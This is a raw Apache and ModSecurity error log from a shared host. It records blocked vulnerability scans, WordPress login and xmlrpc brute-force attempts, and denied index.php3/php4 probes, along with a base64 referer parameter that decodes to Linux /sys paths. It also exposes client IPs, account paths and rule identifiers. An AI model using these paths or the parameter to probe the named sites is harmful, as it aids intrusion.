[pid 715691:tid 715926] [client 47.79.207.178:35652] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.207.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "an-ime.com"] [uri "/index.php"] [unique_id "ai30NrV-dFiaX9AtWiQZAAAAAV8"], referer: https://www.google.com/ [Sat Jun 13 18:22:14.600801 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.96:53571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:14.601277 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.96:53571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:14.756537 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:22:14.756849 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:22:14.807673 2026] [security2:error] [pid 715691:tid 715731] [remote 17.241.219.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NrV-dFiaX9AtWiQZBwABJxU"] [Sat Jun 13 18:22:14.814385 2026] [security2:error] [pid 715691:tid 715719] [remote 17.246.15.55:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 55.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30NrV-dFiaX9AtWiQZCAABVgk"] [Sat Jun 13 18:22:14.996330 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.11:53099] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:14.996800 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.11:53099] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:15.025194 2026] [access_compat:error] [pid 715691:tid 715742] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:15.025787 2026] [access_compat:error] [pid 715691:tid 715742] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:15.191990 2026] [lsapi:warn] [pid 646876:tid 647080] [client 47.79.201.101:24002] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:22:15.192020 2026] [lsapi:warn] [pid 646876:tid 647080] [client 47.79.201.101:24002] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:22:15.238934 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.59:39989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:15.239321 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.59:39989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:15.270147 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.78:35988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:15.270412 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.78:35988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:15.282147 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:15.282405 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:15.819302 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:22:15.819737 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:22:16.011861 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.21:63625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:16.012332 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.21:63625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:16.033017 2026] [security2:error] [pid 715691:tid 715776] [remote 17.22.245.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30OLV-dFiaX9AtWiQZOgABD0E"] [Sat Jun 13 18:22:16.308710 2026] [security2:error] [pid 715691:tid 715775] [remote 17.22.237.28:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30OLV-dFiaX9AtWiQZQwABO0A"] [Sat Jun 13 18:22:16.355167 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:22:16.355617 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:22:16.554827 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.112:29796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:16.555101 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.112:29796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:16.620462 2026] [security2:error] [pid 715691:tid 715792] [remote 17.246.15.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30OLV-dFiaX9AtWiQZTwABRlE"] [Sat Jun 13 18:22:16.848747 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:22:16.849200 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:22:16.894883 2026] [security2:error] [pid 715691:tid 715799] [remote 17.241.227.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30OLV-dFiaX9AtWiQZVwABOFg"] [Sat Jun 13 18:22:17.309910 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.107:27075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:17.310343 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.107:27075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:17.409131 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:17.409574 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:17.432425 2026] [access_compat:error] [pid 715691:tid 715826] [remote 57.141.14.80:46957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:17.432881 2026] [access_compat:error] [pid 715691:tid 715826] [remote 57.141.14.80:46957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:17.694425 2026] [proxy:error] [pid 715691:tid 715871] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:17.694502 2026] [proxy_http:error] [pid 715691:tid 715871] [client 208.84.100.145:36972] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:17.695220 2026] [proxy:error] [pid 715691:tid 715871] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:17.695252 2026] [proxy_http:error] [pid 715691:tid 715871] [client 208.84.100.145:36972] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:17.763993 2026] [security2:error] [pid 715691:tid 715900] [client 45.157.112.185:57007] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.112.157.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "muranoaviacion.com"] [uri "/index.php/joomla-pages/j-pages/contact-us"] [unique_id "ai30ObV-dFiaX9AtWiQZdAAAAUU"], referer: http://muranoaviacion.com/index.php/joomla-pages/j-pages/contact-us [Sat Jun 13 18:22:17.929200 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:22:17.929663 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:22:17.940489 2026] [security2:error] [pid 646876:tid 647000] [remote 209.87.149.26:25159] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "vettermysteryship.com"] [uri "/wp-login.php"] [unique_id "ai30OdyTkdrNlD40tSHMpgAAfXk"] [Sat Jun 13 18:22:17.985320 2026] [security2:error] [pid 715691:tid 715741] [remote 17.246.19.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ObV-dFiaX9AtWiQZfAABWx8"] [Sat Jun 13 18:22:18.107847 2026] [security2:error] [pid 646876:tid 647082] [client 172.56.168.133:48600] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30OtyTkdrNlD40tSHMrQAAAEo"] [Sat Jun 13 18:22:18.112099 2026] [security2:error] [pid 646876:tid 647082] [client 172.56.168.133:48600] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30OtyTkdrNlD40tSHMrQAAAEo"] [Sat Jun 13 18:22:18.134919 2026] [security2:error] [pid 646876:tid 646929] [remote 209.87.149.26:25159] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "vettermysteryship.com"] [uri "/wp-login.php"] [unique_id "ai30OtyTkdrNlD40tSHMrwAAdjI"], referer: https://vettermysteryship.com/wp-login.php [Sat Jun 13 18:22:18.172116 2026] [security2:error] [pid 715691:tid 715946] [client 210.217.96.217:31056] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com 